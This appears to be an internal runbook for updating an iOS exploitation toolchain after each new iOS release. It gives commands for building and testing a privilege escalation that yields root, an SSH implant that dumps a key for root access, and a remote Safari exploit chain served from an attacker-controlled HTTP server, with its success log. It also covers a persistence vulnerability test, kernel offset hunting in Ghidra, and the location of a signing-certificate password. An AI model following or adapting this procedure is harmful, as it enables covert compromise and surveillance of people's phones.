iOS Triage Process

This describes the process needing to been done when a new iOS version is released.

Pre Setup

1. Make a directory store output folders
   1. mkdir OUT
   2. set $OUT
      1. export OUT=`pwd`/OUT (PWD = mac command for present working directory)
2. Grab the entire ios_manifest
   1. mkdir ios_repo and change into it
   2. repo init -u ssh://git@stash.devlan.net:7999/ios/ios_manifest
   3. repo sync
   4. verify your iOS manifest is on the right branch for the current version of iOS to be tested
      1. change into the .repo/manifests/ dir and verify you are on the correct manifest branch if not check out the right branch and re-sync
   5. set $IOS_REPO

      1. export IOS_REPO=`pwd`/ios_repo

3. Grab a testdylib for testing external to the IOS_REPO
   1. get testdylib_manifest
      1. repo init -u ssh://git@stash.devlan.net:7999/ios/testdylib_manifest
      2. repo sync
   2. cd into testdylib_repo/testdylib
   3. make
   4. CD ..
   5. set $TEST_DYLIB
      

      1. export TEST_DYLIB=`pwd`/Build/Release-iPhoneOS/testdylib/testmain

4. Make sure ghidra_dir installed

   1. must be at least version 6

   2. in your ghidra install look for a folder that contains "ghidraRun"

   3. set $GH_PATH to the path specified above
   4. export GH_PATH=<path>
      1. use full path and NOT relative path
5. Install the enterprise certificate
   1. In a finder window goto /Volumes/share/MDB/iOS/iOSFiles
   2. double click "Viper Ball Hunt Golf.developerprofile" 
      1. this will open xcode to import the profile
      2. the password is the file name minus .developerprofile
   3. double click ios_distribution.cer
   4. double click tag.p12
      1. might error importing but ignore the error
   5. double click testing.mobileprovision

List of tools now needed

1. Xcode Developer Disk Image (DMG) 
   1. Install Xcode (get the lastest version released that should be on the MDB share /MDB/OSX/Software/Apple/Xcode/<newest version>)If it is not get with Inventory Manager
      1. find DMG in xcode directory 

         (/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/<current version>/DeveloperDiskImage.dmg))

   2. put with the other DMG's ( redux/res/dmg )

Saline

1. cd $IOS_REPO/saline
2. make clean
3. make
4. run saline
   1.  $IOS_REPO//Dist/Release-MacOSX/saline $TEST_DYLIB

Adderall

1. cd into $IOS_REPO/nightvision/python/
   1. cd $IOS_REPO/nightvision/python/
2. open nv_kern_read_command.py in an editor 
   1. update kernel_info to include latest version number if not already present
   2. in get_ios_type, verify correct version number is in there
3. update make files in $IOS_REPO/early-make by adding new prefix to new to the lists ( cd to $IOS_REPO/early-make and run subl . to open all for editing in sublime)
   1. early-bokken 
   2. early-close
   3. early-persist 
   4. early-remote 
4. update rana
   
   1. update match function in $IOS_REPO/rana/ranas/<proper>_rana.py
   2. <proper> is most likely saline
   3. update means to ensure a verification is there for the current build version if not add another or  version.re is not none to the if statement
5. cd $IOS_REPO/adderall
6. make clean
7. make
8. under $OUT make a folder for adderall files
   1. mkdir $OUT/adder_files
   2. set $AD_OUT
      1. export AD_OUT=$OUT/adder_files
9. cd $IOS_REPO/Dist/Release-MacOSX/
10. ./adderall-dist $AD_OUT
11. Hopefully have execution
12. If theses are beta version then copy the folder in your $AD_OUT to: /Volumes/share/MDB/iOS/iOSFiles-Beta/
13. If theses are not beta version then copy the folder in your $AD_OUT to: /Volumes/share/MDB/iOS/iOSFiles/

Symdra / Elsym

1. under $OUT make a folder for adderall files
   1. mkdir $OUT/sym_files
   2. we will call it $SYM_OUT
   3. export SYM_OUT="$OUT/sym_files" 
2. create branch for elsym-dist

   1. cd $IOS_REPO/elsym-dist/

   2. git checkout -b <descriptive_name>

3. cd back to $IOS_REPO

   1. cd $IOS_REPO

4. run symdra from the $IOS_REPO directory
   1. python symdra/ full -k $AD_OUT -a $SYM_OUT -g $GH_PATH -b <build_number_for_device>
      1. ex. "-b 13A4325c"
   2. (YES you are running python on a folder)
5. When done symbol.db in $SYM_OUT
   1. ls $SYM_OUT/*/symbol.db
6. This will be feed into Elsym
7. Check that the symbol.db is good
   1. sqlite3 $SYM_OUT/<IPSW>/symbol.db
   2. select * from [ Master_Symbols ];
   3. .exit
8. verify elsym
   1. cd $IOS_REPO/elsym
   2. git checkout -b <descriptive_name>
   3. el.py
      1. make sure build number is in the list
      2. might need to change "EL_CONFIG_LWVM_PARITION_FLAG_OFFSET"
         1. For iOS 8.4 we had to change it to 0x28. To determine:
            1. Open ghidra
            2. File -> Open Project
            3. goto the symdra_results/<IPSW>/Ghidra/kernelcache.gpr
            4. Open the System.kext and search for the string "disk0s1", "disk0s1s1", "Writable", and/or "UUID"
            5. This function is bsd_init (note this is heavily inlined and may not fully decompile)
            6. Find the call to _VNOP_IOCTL
            7. The second parameter is the ioctl number we need (in the past was 0xc01064c2 but might be broken into two instructions)
            8. Note the ioctl number
            9. Open com.apple.driver.LightweightVolumeManager.kext
            10. Search Program Text for the ioctl number (note you may want to search for half of it at a time) being used in a comparison
            11. This function is the ioctl handler
            12. Inside the true block of the conditional, look for the constants on the ioctl
            13. One of the commands sets a read-only field (1), the offset for this field is the LWVM_PARTION_FLAG_OFFSET.
   4. run and see what happen
      1. ZOO_IPSW_PATH=$SYM_OUT make copyonedist ZOO_TARGET=<IPSW>
         1. ex. ZOO_IPSW_PATH=$SYM_OUT make copyonedist ZOO_TARGET=iPad4,1_9.0_13A341
         2. _kernel_memory_allocate is only used for the development
   5. python verify.py $IOS_REPO/elsym-dist/
   6. python print_config.py $IOS_REPO/elsym-dist/el_<IPSW>.plist
9. (folder: elsym) If changes to elsym were made put up for pull request
10. (folder: elsym-dist) For new el_*.plist put up for up requests

Nightvision

1. under $OUT make a folder for nightvision files
   1. mkdir $OUT/nv_files
   2. we will call it $NV_OUT
   3. export NV_OUT="$OUT/nv_files" 

2. cd $IOS_REPO/nightvision

3. make clean
4. ZOO_ISPW_PATH=$AD_OUT make dist
5. $IOS_REPO/Dist/Release-iPhoneOS/nv -c $IOS_REPO/elsym-dist/ get -o $NV_OUT/ 

6. tar -tvf $NV_OUT/<IPSW>..tbz  | grep "/private/var/root"

   1. You should see files in the list

El_util

1. cd $IOS_REPO/elutil
2. make clean
3. ZOO_ISPW_PATH=$AD_OUT make ZOO_IPSWS="<target>"
   1. ex. make ZOO_IPSWS=iPhone6,1_13A341
4. el_runo.sh don't use even if it is in the directory
5. cd $IOS_REPO/rana
6. make

7. python /Users/User #77254/g/TriageUpdate/ios_repo/Build/Release-MacOSX/rana.pyz -a execute /Users/User #77254/g/TriageUpdate/ios_repo/Build/Release-iPhoneOS/elutil/iPhone6,1_13A341/el_priv

   1. should be "uid = 0, euid = 0"

El_unit

1. cd $IOS_REPO/elunit
2. ZOO_ISPW_PATH=$AD_OUT make
3. After the app is install you might have to click on it yourself and trust it
   1. If so also make sure on the device "Settings->Developer->Enable UIUser Interface Automation" is on
4. If you had to do any of step 3 you may need to rerun it
5. should only have 1 failed test

--REWRITE End--

El_ssh

1. go into el_ssh

2. ZOO_IPSWS="<target>" EL_SSH_ACCESS="close" ZOO_ISPW_PATH=<outdir> make

   1. If you get the following error

   2. el_ssh/Makefile:46: *** No ipsw resources for <target> .  Stop.

   3. copy the plist from your elsym-dist from the symdra test into the elsym-dist in your manifest
3. ../Dist/Release-iPhoneOS/el_ssh install
4. ../Dist/Release-iPhoneOS/el_ssh run
5. ../Dist/Release-iPhoneOS/el_ssh dumpkey ssh.key
6. ../Dist/Release-iPhoneOS/el_ssh relay -p 2222
7. ssh -i ssh.key -p 2222 root@localhost
8. ls bin_nohash

Remote

1. under testdylib manifest
2. in testdylib make dist
3. under mcnugget manifest
4. cd mcnugget 
5. make
6. cd mcp_archon
7. archon.py
   1. variable = iOS
8. earth.py
   1. variable = iOS
9. soul.py
   1. (doesn't actually check version) we are good
10. safari 
    1. settings advance Web Inspector on
       1. Settings -> Advanced -> Web Inspector 
    2. settings developer enable UIUser Interface automation
11. ZOO_IPSW_PATH=~/temp/ ZOO_CONFIG=Release make delivery
12. cd ../Build/Release-MacOSX/mcnugget/

13. ./mc_creator plist --url http://<ip>:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""

    1. <ip> is the ip of your Mac ( not your iDevice)

    2. OR if your feel like cheating ./mc_creator plist --url http://`ifconfig | grep "inet 10" | cut -d " " -f 2`:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""

14. ./solcreate mc.plist /<path>/testdylib.zip -t myid -o myid.sol --nonpersist

15. ./mc_creator server mctest mc.plist mcplugins/mcp_* myid.sol

16. ./mctest 

    1. press enter when prompted for passphrase

    2. wait for ENGINE Bus STARTED
17. Make sure device is on wifi
18. Connect device via usb 
    1. then run python mdf syslog
19. verify safari is not loaded in memory on target
20. On device open safari 
    1. then browse to http://<ip>:8080/?id=myid
21. On mctest log you should see

    1. "exploitation succeeded, deleting from target dictionary"

22. In the syslog you should see the 

    1. "iPhone locationd[57] <Emergency>: ==== Testdylib Started at:"

Persistence

Test of vulnerability

1. install el_ssh
2. git the grist_manifest
3. init repo
4. goto into the dyld-js folder in the repo

5. make dylinker_test ZOO_CONFIG=Debug

6. ~/git2/el_ssh_manifest/Dist/Release-iPhoneOS/scp -i <key file> ../Build/Debug-iPhoneOS/dyld-js/dylinker_test_<arch>.js root@<device ip>:

7. ssh -i <key file> root@<device ip>

8. /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc dylinker_test_64.js

9. You should see [dylinker] 5 of 5 passed.

Related articles

iOS Firmware Updating to latest procedure / Adding Exploit Support For New Devices

('contentbylabel' missing)

('details' missing)